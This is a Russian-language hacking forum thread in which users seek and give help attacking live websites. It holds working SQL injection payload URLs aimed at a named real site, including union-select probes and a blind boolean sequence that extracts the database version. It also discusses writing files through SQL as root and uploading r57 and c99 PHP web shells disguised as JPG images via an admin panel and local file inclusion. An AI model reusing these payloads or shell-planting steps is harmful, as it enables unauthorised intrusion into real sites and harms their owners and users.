Ваши вопросы по уязвимостям.

to 2Fed123
видел я парсер на перле, помоему его в последнем хакере выкладывали

 

Проще будет самому написать.

 

Ctacok
Напиши,буду очень признателен

 

Не силён в Perl.
Попробуй сам написать.
Если будут вопросы пиши сюда:
https://forum.antichat.ru/
threadedpost1594515.html#post1594515 .

Это если на PHP будешь писать.

А если на Perl:
https://forum.antichat.ru/thread40897.html

 

Ctacok жжет ))
2Fed123 цык
разберешся там просто
цэ грабер с хакера

 

Помогите раскрутить скулю (добиться вывода)...

узнаем что есть 21 поле
http://www.enext.ua/index.php?node=770+order+by+21--

http://www.enext.ua/index.php?node=-770+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
вывода нет...

 

Ща набегут и помогут, а пока вот,пробуй сам раскрутить)

 

чет не получается... начал перечитывать статью по символьному перебору https://forum.antichat.ru/showpost.php?p=407227&postcount=3 но понял, что вроде как не в ту сторону копаю...
Может распишешь запрос к выводу, а я по аналогии разберусь с этим примером...

 

pelligrim в ту сторону копаеш, только твой вывод это правильно отображение странички (т.е. правильное выполнение запроса), а тут смотри выводим версию бд

Code:

http://www.enext.ua/index.php?node=0+and+substring(version(),1,1)=5 => 1 символ равняеться 5
http://www.enext.ua/index.php?node=0+and+ascii(lower(substring(version(),2,1)))=0x2E => так опряделяем точку
http://www.enext.ua/index.php?node=0+and+substring(version(),3,1)=0 => тут ноль
http://www.enext.ua/index.php?node=0+and+ascii(lower(substring(version(),4,1)))=0x2E
http://www.enext.ua/index.php?node=0+and+substring(version(),5,1)=7  => ну и тут 2 семерки
http://www.enext.ua/index.php?node=0+and+substring(version(),6,1)=7

в итоге получаем версию мускула - 5.0.77

 

проблема такая,выполняю sql запрос в пхпадмине,пишет: Запрос выполнен успешно,смотрю файл пустой,пробовал писать произволные символы.Успеха нет.
Пишу в папку tmp ,пишеться,читаю админом файл пустой..Юзер рут

 

Shadrin
Мб на запрос посмотрим, или сами догадаемся?
Уверен, что файл пустой, или всё-же его нет?

 

пустой - это ты видишь в phpmyadmine, после load_file() результат "NULL"?

 

Запрос был вот
нет он писал именно файл с размером 0, в папке на запись был Index Of ,поэтому все было видно, проблема решилось следующим образом,я просто изменил таблицу и базу куда слал запрос,и все записалось)
UpЕсть админка через которую можно заливать пхп код,только переименовывает в жпг,и вижу исходник шелла, и так же есть локальный инклуд,если возможно то как залить шелл?

 

Возможно.инклюдь картинку.

 

залил r57,частично отображается,куски кода на все страницу где кнопки где их нету,с99 кодированный вообще не открывается, пихаю <?php phpinfo();?> ,переименовываю в жпг,заливаю,открываю в ие исходник есть,через иклюд вообще кода нету.

 

Может chroot там какой извращенский для пхп...

 

Shadrin пхп неисполняеться, ищи другой способ

 

а что ты хотел в жпг картинку засунуть пшп код , и чтоб он выполнялся?

 

я вообще хотел залить шел,и спросил что можно сделать

 

на php, стоит относильно известная СМS